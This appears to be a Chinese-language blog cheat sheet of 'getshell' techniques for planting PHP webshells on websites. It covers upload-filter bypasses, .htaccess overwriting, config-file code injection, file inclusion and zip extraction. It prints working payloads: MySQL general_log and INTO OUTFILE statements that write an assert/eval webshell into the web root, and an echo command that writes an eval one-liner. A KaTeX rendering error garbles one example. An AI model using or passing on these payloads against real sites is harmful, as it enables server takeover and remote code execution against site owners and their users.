getshell 常用技巧

1.利用文件上传漏洞，找文件上传处想办法上传 php 文件

一些网站在设置可以允许修改上传的文件类型则直接添加 php

有时候会还有检测是否为 php 文件，可以通过文件名变形，大小写，双写等形式绕过，只要是黑名单的都比较好绕过

很多 cms 还有.hatccess 文件禁止访问或者执行这个目录下的文件的情况

这种情况直接上传一个.hatccess 文件覆盖这个，让其失效。

或者上传不重命名的话上传…/…/shell.php 传到其他不被限制访问的目录

或者找任意文件删除漏洞把.hatccess 文件删除

2.找文件配置的地方写入 php 代码，一般都有过滤的，想办法绕过

过滤单引号的话可以用注释把上一个的内容注释掉 在下一个参数配置注入代码

效果如下

$conf_1 =‘xx’;

$conf_2 = ‘;phpinfo();//’

这样就相当于

KaTeX parse error: Can't use function '\'' in math mode at position 12: conf_1 ='xx\';conf_2 = ';

phpinfo();

php 代码就可以执行了，防护比较弱的话直接访问这个配置文件就可以 getshell 了。

防护比较好禁止访问配置文件时，就找包含这个配置文件的文件即可。

3.找有没有存在任意文件包含的地方，本地包含的话直接上传 php 代码的图片，远程包含的话就在自己的服务器上设置 php 代码文件

4.sql 注入 getshell 要知道网站的绝对路径

方法一:利用设置 mysql log 为 php 文件,并设置路径到网站目录下，这样就可以把 sql 中执行的 php 语句插入的 log 中了

如:

SETglobal general_log=‘on’;

SETglobalgeneral_log_file=‘D:/webshell/WWW/shell.php’;#如果没有 shell.php

会自动创建

SELECT’<?php assert($_POST["cmd"]);?>’;

方法二:

select “<?php phpinfo(); ?>” into outfile ‘shell 路径.php’

5.远程图片文件下载

有时候远程图片下载的时候，可以设置一下下载自己的 php 文件

如 自己服务器上的文件 1.php

<?php echo "<?php phpinfo(); ?>";?>

或者别的方式，让页面有 php 代码，如果不过滤后缀的话直接会下载这个 php 文件

6.zip 解压 getshell

这个再系统升级或者插件安装的地方很多都有这个问题。上传 shell.php 在压缩包中，上传系统升级时会解压缩，那么就可以 getshell

7.缓存写入

有些地方会把缓存写入到一个 php 文件里，想办法让自己的 payload 写入缓存中

8.数据库备份 getshell

有些提供功能可以通过数据库备份进行修改文件后缀。

9.编辑模板 getshell

在网站编辑模板插入一句话

10.命令执行拿 webshell

echo <?php @eval($_POST(a));?> >路径.php

可以用相对路径也可以用绝对路径

11.编辑器漏洞 getshell

要留意 cms 使用的编辑器版本是否是已知漏洞的版本

12.利用文件解析漏洞拿 webshell

13.找可以执行代码的函数，看看参数是否可控

14.找写文件的函数，看看文件后缀和内容是否可控

15.没有进入后台

0day 拿 webshell

IIS 写权限拿 webshell(put 一个 shell 进去)

命令执行拿 webshell

通过注入漏洞拿 webshell

前台图片上传拿 webshell

Strusts2 拿 webshell

java 反序列拿 shell